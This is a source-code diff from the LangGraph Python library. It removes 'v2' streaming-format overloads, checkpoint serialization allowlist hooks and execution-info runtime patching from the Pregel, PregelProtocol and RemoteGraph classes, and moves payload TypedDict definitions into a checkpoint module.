for t in await match_cached_writes():
if t is task:
# if the task is already cached, return
return
while True:
runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
if isinstance(runtime, Runtime):
config = patch_configurable(
config,
{
CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
# node_attempt is execution count (1-indexed): 1 on first run,
# then 2, 3, ... on subsequent retries.
node_attempt=attempts + 1,
)
},
)
try:
# clear any writes from previous attempts
task.writes.clear()
@@ -219,8 +146,12 @@ async def arun_with_retry(
w.invoke(cmd, config)
break
elif cmd.graph == Command.PARENT:
# this command is for the parent graph, assign it to the parent.
exc.args = (replace(cmd, graph=_checkpoint_ns_for_parent_command(ns)),)
# this command is for the parent graph, assign it to the parent
parts = ns.split(NS_SEP)
if parts[-1].isdigit():
parts.pop()
parent_ns = NS_SEP.join(parts[:-1])
exc.args = (replace(cmd, graph=parent_ns),)
# bubble up
raise
except GraphBubbleUp:
@@ -242,8 +173,7 @@ async def arun_with_retry(
if not matching_policy:
raise
# attempts tracks failed tries only; it increments after a failure.
# The next execution's node_attempt is derived as attempts + 1.
# increment attempts
attempts += 1
# check if we should give up
if attempts >= matching_policy.max_attempts:
+37 -8
View File
@@ -7,6 +7,7 @@ from uuid import UUID
from langchain_core.runnables import RunnableConfig
from langgraph.checkpoint.base import CheckpointMetadata, PendingWrite
from typing_extensions import TypedDict
from langgraph._internal._config import patch_checkpoint_map
from langgraph._internal._constants import (
@@ -22,14 +23,42 @@ from langgraph._internal._typing import MISSING
from langgraph.channels.base import BaseChannel
from langgraph.constants import TAG_HIDDEN
from langgraph.pregel._io import read_channels
from langgraph.types import (
CheckpointPayload,
PregelExecutableTask,
PregelTask,
StateSnapshot,
TaskPayload,
TaskResultPayload,
)
from langgraph.types import PregelExecutableTask, PregelTask, StateSnapshot
__all__ = ("TaskPayload", "TaskResultPayload", "CheckpointTask", "CheckpointPayload")
class TaskPayload(TypedDict):
id: str
name: str
input: Any
triggers: list[str]
class TaskResultPayload(TypedDict):
id: str
name: str
error: str | None
interrupts: list[dict]
result: dict[str, Any]
class CheckpointTask(TypedDict):
id: str
name: str
error: str | None
interrupts: list[dict]
state: StateSnapshot | RunnableConfig | None
class CheckpointPayload(TypedDict):
config: RunnableConfig | None
metadata: CheckpointMetadata
values: dict[str, Any]
next: list[str]
parent_config: RunnableConfig | None
tasks: list[CheckpointTask]
TASK_NAMESPACE = UUID("6ba7b831-9dad-11d1-80b4-00c04fd430c8")
+65 -412
View File
@@ -22,10 +22,8 @@ from inspect import isclass
from typing import (
Any,
Generic,
Literal,
cast,
get_type_hints,
overload,
)
from uuid import UUID, uuid5
@@ -50,7 +48,6 @@ from langgraph.store.base import BaseStore
from pydantic import BaseModel, TypeAdapter
from typing_extensions import Self, Unpack, deprecated, is_typeddict
from langgraph._internal import _serde
from langgraph._internal._config import (
ensure_config,
merge_configs,
@@ -123,10 +120,7 @@ from langgraph.pregel._checkpoint import (
)
from langgraph.pregel._draw import draw_graph
from langgraph.pregel._io import map_input, read_channels
from langgraph.pregel._loop import (
AsyncPregelLoop,
SyncPregelLoop,
)
from langgraph.pregel._loop import AsyncPregelLoop, SyncPregelLoop
from langgraph.pregel._messages import StreamMessagesHandler
from langgraph.pregel._read import DEFAULT_BOUND, PregelNode
from langgraph.pregel._retry import RetryPolicy
@@ -136,20 +130,18 @@ from langgraph.pregel._validate import validate_graph, validate_keys
from langgraph.pregel._write import ChannelWrite, ChannelWriteEntry
from langgraph.pregel.debug import get_bolded_text, get_colored_text, tasks_w_writes
from langgraph.pregel.protocol import PregelProtocol, StreamChunk, StreamProtocol
from langgraph.runtime import DEFAULT_RUNTIME, ExecutionInfo, Runtime
from langgraph.runtime import DEFAULT_RUNTIME, Runtime
from langgraph.types import (
All,
CachePolicy,
Checkpointer,
Command,
Durability,
GraphOutput,
Interrupt,
Send,
StateSnapshot,
StateUpdate,
StreamMode,
StreamPart,
ensure_valid_checkpointer,
)
from langgraph.typing import ContextT, InputT, OutputT, StateT
@@ -706,17 +698,9 @@ class Pregel(
self.config = config
self.trigger_to_nodes = trigger_to_nodes or {}
self.name = name
self._serde_allowlist: set[tuple[str, ...]] | None = None
if auto_validate:
self.validate()
def _apply_checkpointer_allowlist(
self, checkpointer: BaseCheckpointSaver | None
) -> BaseCheckpointSaver | None:
if not _serde.STRICT_MSGPACK_ENABLED:
return checkpointer
return _serde.apply_checkpointer_allowlist(checkpointer, self._serde_allowlist)
def get_graph(
self, config: RunnableConfig | None = None, *, xray: int | bool = False
) -> Graph:
@@ -1000,11 +984,6 @@ class Pregel(
for name, node in self.get_subgraphs(namespace=namespace, recurse=recurse):
yield name, node
# Mappers for v2 stream coercion (pydantic/dataclass).
# Set by CompiledStateGraph; None for base Pregel.
_output_mapper: Callable[[Any], Any] | None = None
_state_mapper: Callable[[Any], Any] | None = None
def _migrate_checkpoint(self, checkpoint: Checkpoint) -> None:
"""Migrate a saved checkpoint to new channel layout."""
if checkpoint["v"] < 4 and checkpoint.get("pending_sends"):
@@ -1260,8 +1239,6 @@ class Pregel(
checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
CONFIG_KEY_CHECKPOINTER, self.checkpointer
)
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if not checkpointer:
raise ValueError("No checkpointer set")
@@ -1304,8 +1281,6 @@ class Pregel(
checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
CONFIG_KEY_CHECKPOINTER, self.checkpointer
)
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if not checkpointer:
raise ValueError("No checkpointer set")
@@ -1354,8 +1329,6 @@ class Pregel(
checkpointer: BaseCheckpointSaver | None = config[CONF].get(
CONFIG_KEY_CHECKPOINTER, self.checkpointer
)
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if not checkpointer:
raise ValueError("No checkpointer set")
@@ -1407,8 +1380,6 @@ class Pregel(
checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
CONFIG_KEY_CHECKPOINTER, self.checkpointer
)
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if not checkpointer:
raise ValueError("No checkpointer set")
@@ -1475,8 +1446,6 @@ class Pregel(
checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
CONFIG_KEY_CHECKPOINTER, self.checkpointer
)
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if not checkpointer:
raise ValueError("No checkpointer set")
@@ -1921,8 +1890,6 @@ class Pregel(
checkpointer: BaseCheckpointSaver | None = ensure_config(config)[CONF].get(
CONFIG_KEY_CHECKPOINTER, self.checkpointer
)
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if not checkpointer:
raise ValueError("No checkpointer set")
@@ -2411,8 +2378,6 @@ class Pregel(
raise RuntimeError("checkpointer=True cannot be used for root graphs.")
else:
checkpointer = self.checkpointer
if isinstance(checkpointer, BaseCheckpointSaver):
checkpointer = self._apply_checkpointer_allowlist(checkpointer)
if checkpointer and not config.get(CONF):
raise ValueError(
"Checkpointer requires one or more of the following 'configurable' "
@@ -2439,7 +2404,6 @@ class Pregel(
durability,
)
@overload
def stream(
self,
input: InputT | Command | None,
@@ -2454,44 +2418,6 @@ class Pregel(
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v2"],
**kwargs: Unpack[DeprecatedKwargs],
) -> Iterator[StreamPart[StateT, OutputT]]: ...
@overload
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1"] = ...,
**kwargs: Unpack[DeprecatedKwargs],
) -> Iterator[dict[str, Any] | Any]: ...
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Unpack[DeprecatedKwargs],
) -> Iterator[dict[str, Any] | Any]:
"""Stream graph steps for a single input.
@@ -2648,16 +2574,11 @@ class Pregel(
store=store,
stream_writer=stream_writer,
previous=None,
execution_info=ExecutionInfo(),
)
parent_runtime = config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
runtime = parent_runtime.merge(runtime)
config[CONF][CONFIG_KEY_RUNTIME] = runtime
# resolve mappers for v2 stream coercion
_output_mapper = self._output_mapper if version == "v2" else None
_state_mapper = self._state_mapper if version == "v2" else None
with SyncPregelLoop(
input,
stream=StreamProtocol(stream.put, stream_modes),
@@ -2730,14 +2651,7 @@ class Pregel(
):
# emit output
yield from _output(
stream_mode,
print_mode,
subgraphs,
stream.get,
queue.Empty,
version,
_output_mapper,
_state_mapper,
stream_mode, print_mode, subgraphs, stream.get, queue.Empty
)
loop.after_tick()
# wait for checkpoint
@@ -2745,14 +2659,7 @@ class Pregel(
loop._put_checkpoint_fut.result()
# emit output
yield from _output(
stream_mode,
print_mode,
subgraphs,
stream.get,
queue.Empty,
version,
_output_mapper,
_state_mapper,
stream_mode, print_mode, subgraphs, stream.get, queue.Empty
)
# handle exit
if loop.status == "out_of_steps":
@@ -2771,44 +2678,6 @@ class Pregel(
run_manager.on_chain_error(e)
raise
@overload
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v2"],
**kwargs: Unpack[DeprecatedKwargs],
) -> AsyncIterator[StreamPart[StateT, OutputT]]: ...
@overload
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1"] = ...,
**kwargs: Unpack[DeprecatedKwargs],
) -> AsyncIterator[dict[str, Any] | Any]: ...
async def astream(
self,
input: InputT | Command | None,
@@ -2823,7 +2692,6 @@ class Pregel(
durability: Durability | None = None,
subgraphs: bool = False,
debug: bool | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Unpack[DeprecatedKwargs],
) -> AsyncIterator[dict[str, Any] | Any]:
"""Asynchronously stream graph steps for a single input.
@@ -3015,16 +2883,11 @@ class Pregel(
store=store,
stream_writer=stream_writer,
previous=None,
execution_info=ExecutionInfo(),
)
parent_runtime = config[CONF].get(CONFIG_KEY_RUNTIME, DEFAULT_RUNTIME)
runtime = parent_runtime.merge(runtime)
config[CONF][CONFIG_KEY_RUNTIME] = runtime
# resolve mappers for v2 stream coercion
_output_mapper = self._output_mapper if version == "v2" else None
_state_mapper = self._state_mapper if version == "v2" else None
async with AsyncPregelLoop(
input,
stream=StreamProtocol(stream.put_nowait, stream_modes),
@@ -3121,9 +2984,6 @@ class Pregel(
subgraphs,
stream.get_nowait,
asyncio.QueueEmpty,
version,
_output_mapper,
_state_mapper,
):
yield o
loop.after_tick()
@@ -3142,9 +3002,6 @@ class Pregel(
subgraphs,
stream.get_nowait,
asyncio.QueueEmpty,
version,
_output_mapper,
_state_mapper,
):
yield o
# handle exit
@@ -3164,41 +3021,6 @@ class Pregel(
await asyncio.shield(run_manager.on_chain_error(e))
raise
@overload
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: Literal["values"] = ...,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[OutputT]: ...
@overload
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> list[StreamPart[StateT, OutputT]]: ...
@overload
def invoke(
self,
input: InputT | Command | None,
@@ -3211,23 +3033,6 @@ class Pregel(
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode = "values",
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Run the graph with a single input and config.
@@ -3251,9 +3056,6 @@ class Pregel(
- `"sync"`: Changes are persisted synchronously before the next step starts.
- `"async"`: Changes are persisted asynchronously while the next step executes.
- `"exit"`: Changes are persisted only when the graph exits.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts when
`stream_mode` is not `"values"`.
**kwargs: Additional keyword arguments to pass to the graph run.
Returns:
@@ -3266,64 +3068,39 @@ class Pregel(
chunks: list[dict[str, Any] | Any] = []
interrupts: list[Interrupt] = []
if version == "v2":
# v2: values stream parts carry interrupts directly
for chunk in self.stream(
input,
config,
context=context,
stream_mode="values" if stream_mode == "values" else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
version=version,
**kwargs,
):
if stream_mode == "values":
latest = chunk["data"]
if chunk_ints := chunk.get("interrupts", ()):
interrupts.extend(chunk_ints) # type: ignore[arg-type]
for chunk in self.stream(
input,
config,
context=context,
stream_mode=["updates", "values"]
if stream_mode == "values"
else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
chunks.append(chunk)
else:
# v1: collect interrupts from updates stream
for chunk in self.stream(
input,
config,
context=context,
stream_mode=(
["updates", "values"] if stream_mode == "values" else stream_mode
),
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
if stream_mode == "values":
if version == "v2":
return GraphOutput(value=latest, interrupts=tuple(interrupts))
if interrupts:
return (
{**latest, INTERRUPT: interrupts}
@@ -3334,41 +3111,6 @@ class Pregel(
else:
return chunks
@overload
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: Literal["values"] = ...,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> GraphOutput[OutputT]: ...
@overload
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode,
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> list[StreamPart[StateT, OutputT]]: ...
@overload
async def ainvoke(
self,
input: InputT | Command | None,
@@ -3381,23 +3123,6 @@ class Pregel(
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> dict[str, Any] | Any: ...
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode = "values",
print_mode: StreamMode | Sequence[StreamMode] = (),
output_keys: str | Sequence[str] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
durability: Durability | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> dict[str, Any] | Any:
"""Asynchronously run the graph with a single input and config.
@@ -3421,9 +3146,6 @@ class Pregel(
- `"sync"`: Changes are persisted synchronously before the next step starts.
- `"async"`: Changes are persisted asynchronously while the next step executes.
- `"exit"`: Changes are persisted only when the graph exits.
version: The streaming format version. `"v1"` (default) returns the
traditional format, `"v2"` returns `StreamPart` typed dicts when
`stream_mode` is not `"values"`.
**kwargs: Additional keyword arguments to pass to the graph run.
Returns:
@@ -3436,64 +3158,39 @@ class Pregel(
chunks: list[dict[str, Any] | Any] = []
interrupts: list[Interrupt] = []
if version == "v2":
# v2: values stream parts carry interrupts directly
async for chunk in self.astream(
input,
config,
context=context,
stream_mode="values" if stream_mode == "values" else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
version=version,
**kwargs,
):
if stream_mode == "values":
latest = chunk["data"]
if chunk_ints := chunk.get("interrupts", ()):
interrupts.extend(chunk_ints) # type: ignore[arg-type]
async for chunk in self.astream(
input,
config,
context=context,
stream_mode=["updates", "values"]
if stream_mode == "values"
else stream_mode,
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
chunks.append(chunk)
else:
# v1: collect interrupts from updates stream
async for chunk in self.astream(
input,
config,
context=context,
stream_mode=(
["updates", "values"] if stream_mode == "values" else stream_mode
),
print_mode=print_mode,
output_keys=output_keys,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
durability=durability,
**kwargs,
):
if stream_mode == "values":
if len(chunk) == 2:
mode, payload = cast(tuple[StreamMode, Any], chunk)
else:
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
_, mode, payload = cast(
tuple[tuple[str, ...], StreamMode, Any], chunk
)
if (
mode == "updates"
and isinstance(payload, dict)
and (ints := payload.get(INTERRUPT)) is not None
):
interrupts.extend(ints)
elif mode == "values":
latest = payload
else:
chunks.append(chunk)
if stream_mode == "values":
if version == "v2":
return GraphOutput(value=latest, interrupts=tuple(interrupts))
if interrupts:
return (
{**latest, INTERRUPT: interrupts}
@@ -3558,9 +3255,6 @@ def _output(
stream_subgraphs: bool,
getter: Callable[[], tuple[tuple[str, ...], str, Any]],
empty_exc: type[Exception],
version: Literal["v1", "v2"] = "v1",
output_mapper: Callable[[Any], Any] | None = None,
state_mapper: Callable[[Any], Any] | None = None,
) -> Iterator:
while True:
try:
@@ -3588,23 +3282,7 @@ def _output(
)
)
if mode in stream_mode:
if version == "v2":
if mode == "values":
# pop __interrupt__ into typed field, coerce data
ints: tuple[Interrupt, ...] = ()
if isinstance(payload, dict):
ints = payload.pop(INTERRUPT, ())
if output_mapper:
payload = output_mapper(payload)
yield {"type": mode, "ns": ns, "data": payload, "interrupts": ints}
elif mode in ("checkpoints", "debug"):
# coerce state values in checkpoint/debug payloads
if state_mapper:
_coerce_checkpoint_values(payload, state_mapper)
yield {"type": mode, "ns": ns, "data": payload}
else:
yield {"type": mode, "ns": ns, "data": payload}
elif stream_subgraphs and isinstance(stream_mode, list):
if stream_subgraphs and isinstance(stream_mode, list):
yield (ns, mode, payload)
elif isinstance(stream_mode, list):
yield (mode, payload)
@@ -3614,31 +3292,6 @@ def _output(
yield payload
def _coerce_checkpoint_values(payload: Any, mapper: Callable[[Any], Any]) -> None:
"""Coerce `values` dicts inside checkpoint or debug payloads in-place.
Skips the initial checkpoint (where next contains ``__start__``) because
not all channels are populated yet and coercion would fail.
"""
_START = "__start__"
# debug wrapper: {"type": "checkpoint", "payload": {"values": dict, ...}}
if (
isinstance(payload, dict)
and payload.get("type") == "checkpoint"
and isinstance(payload.get("payload"), dict)
and isinstance(payload["payload"].get("values"), dict)
and _START not in payload["payload"].get("next", ())
):
payload["payload"]["values"] = mapper(payload["payload"]["values"])
# direct checkpoint payload: {"values": dict, ...}
elif (
isinstance(payload, dict)
and isinstance(payload.get("values"), dict)
and _START not in payload.get("next", ())
):
payload["values"] = mapper(payload["values"])
def _coerce_context(
context_schema: type[ContextT] | None, context: Any
) -> ContextT | None:
+2 -126
View File
@@ -2,21 +2,13 @@ from __future__ import annotations
from abc import abstractmethod
from collections.abc import AsyncIterator, Callable, Iterator, Sequence
from typing import Any, Generic, Literal, cast, overload
from typing import Any, Generic, cast
from langchain_core.runnables import Runnable, RunnableConfig
from langchain_core.runnables.graph import Graph as DrawableGraph
from typing_extensions import Self
from langgraph.types import (
All,
Command,
GraphOutput,
StateSnapshot,
StateUpdate,
StreamMode,
StreamPart,
)
from langgraph.types import All, Command, StateSnapshot, StateUpdate, StreamMode
from langgraph.typing import ContextT, InputT, OutputT, StateT
__all__ = ("PregelProtocol", "StreamProtocol")
@@ -104,7 +96,6 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
as_node: str | None = None,
) -> RunnableConfig: ...
@overload
@abstractmethod
def stream(
self,
@@ -116,39 +107,8 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v2"],
) -> Iterator[StreamPart[StateT, OutputT]]: ...
@overload
@abstractmethod
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1"] = ...,
) -> Iterator[dict[str, Any] | Any]: ...
@abstractmethod
def stream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1", "v2"] = "v1",
) -> Iterator[dict[str, Any] | Any]: ...
@overload
@abstractmethod
def astream(
self,
@@ -160,39 +120,8 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v2"],
) -> AsyncIterator[StreamPart[StateT, OutputT]]: ...
@overload
@abstractmethod
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1"] = ...,
) -> AsyncIterator[dict[str, Any] | Any]: ...
@abstractmethod
def astream(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
version: Literal["v1", "v2"] = "v1",
) -> AsyncIterator[dict[str, Any] | Any]: ...
@overload
@abstractmethod
def invoke(
self,
@@ -202,58 +131,6 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v2"],
) -> GraphOutput[OutputT]: ...
@overload
@abstractmethod
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1"] = ...,
) -> dict[str, Any] | Any: ...
@abstractmethod
def invoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1", "v2"] = "v1",
) -> dict[str, Any] | Any: ...
@overload
@abstractmethod
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v2"],
) -> GraphOutput[OutputT]: ...
@overload
@abstractmethod
async def ainvoke(
self,
input: InputT | Command | None,
config: RunnableConfig | None = None,
*,
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1"] = ...,
) -> dict[str, Any] | Any: ...
@abstractmethod
@@ -265,7 +142,6 @@ class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, Ou
context: ContextT | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
version: Literal["v1", "v2"] = "v1",
) -> dict[str, Any] | Any: ...
+8 -184
View File
@@ -7,7 +7,6 @@ from typing import (
Any,
Literal,
cast,
overload,
)
from uuid import UUID
@@ -31,7 +30,6 @@ from langgraph_sdk.client import (
)
from langgraph_sdk.schema import (
Checkpoint,
Context,
QueryParamTypes,
ThreadState,
)
@@ -59,12 +57,10 @@ from langgraph.pregel.protocol import PregelProtocol, StreamProtocol
from langgraph.types import (
All,
Command,
GraphOutput,
Interrupt,
PregelTask,
StateSnapshot,
StreamMode,
StreamPart,
)
logger = logging.getLogger(__name__)
@@ -686,59 +682,23 @@ class RemoteGraph(PregelProtocol):
updated_stream_modes.remove("events")
return (updated_stream_modes, requested_stream_modes, req_single, stream)
@overload
def stream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v2"],
**kwargs: Any,
) -> Iterator[StreamPart]: ...
@overload
def stream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1"] = ...,
**kwargs: Any,
) -> Iterator[dict[str, Any] | Any]: ...
def stream(
self,
input: dict[str, Any] | Any,
config: RunnableConfig | None = None,
*,
context: Context | None = None,
stream_mode: StreamMode | list[StreamMode] | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
subgraphs: bool = False,
headers: dict[str, str] | None = None,
params: QueryParamTypes | None = None,
version: Literal["v1", "v2"] = "v1",
**kwargs: Any,
) -> Iterator[dict[str, Any] | Any]:
"""Create a run and stream the results.
This method calls `POST /threads/{thread_id}/runs/stream` if a `thread_id`
is specified in the `configurable` field of the config or
is speciffed in the `configurable` field of the config or
`POST /runs/stream` otherwise.
Args:
@@ -773,7 +733,6 @@ class RemoteGraph(PregelProtocol):
input=input,
command=command,
config=sanitized_config,
context=context,
stream_mode=stream_modes,
interrupt_before=interrupt_before,
interrupt_after=interrupt_after,
@@ -815,18 +774,10 @@ class RemoteGraph(PregelProtocol):
continue
if chunk.event.startswith("messages"):
chunk = chunk._replace(data=tuple(chunk.data))
chunk = chunk._replace(data=tuple(chunk.data)) # type: ignore
